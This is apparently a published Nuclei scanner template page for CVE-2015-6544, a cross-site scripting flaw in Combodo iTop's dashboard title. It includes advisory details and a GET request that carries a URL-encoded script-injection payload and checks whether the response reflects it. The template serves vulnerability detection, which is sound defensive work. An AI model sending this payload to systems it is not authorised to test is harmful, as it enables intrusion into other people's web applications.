Combodo iTop <2.2.0-2459 - Cross-Site Scripting

ID: CVE-2015-6544

Severity: medium

Author: pikpikcu

Tags: cve2015,cve,xss,itop,combodo

Description

Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.

YAML Source

id: CVE-2015-6544

info:
  name: Combodo iTop <2.2.0-2459 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Combodo iTop that is equal to or greater than 2.2.0-2459 to mitigate this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23268
    - http://sourceforge.net/p/itop/tickets/1114/
    - http://sourceforge.net/p/itop/code/3662/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6544
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-6544
    cwe-id: CWE-79
    epss-score: 0.00284
    epss-percentile: 0.65327
    cpe: cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: combodo
    product: itop
  tags: cve2015,cve,xss,itop,combodo

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008a21f0873a7e5e5d1b6e7c31b169372d08e0c2a51da95fa30d844f27c489e30d022065777dac3196c5011e8abe8d1d0b359cc80716f08282d1f44a5097f648d161ef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-6544.yaml"

View on Github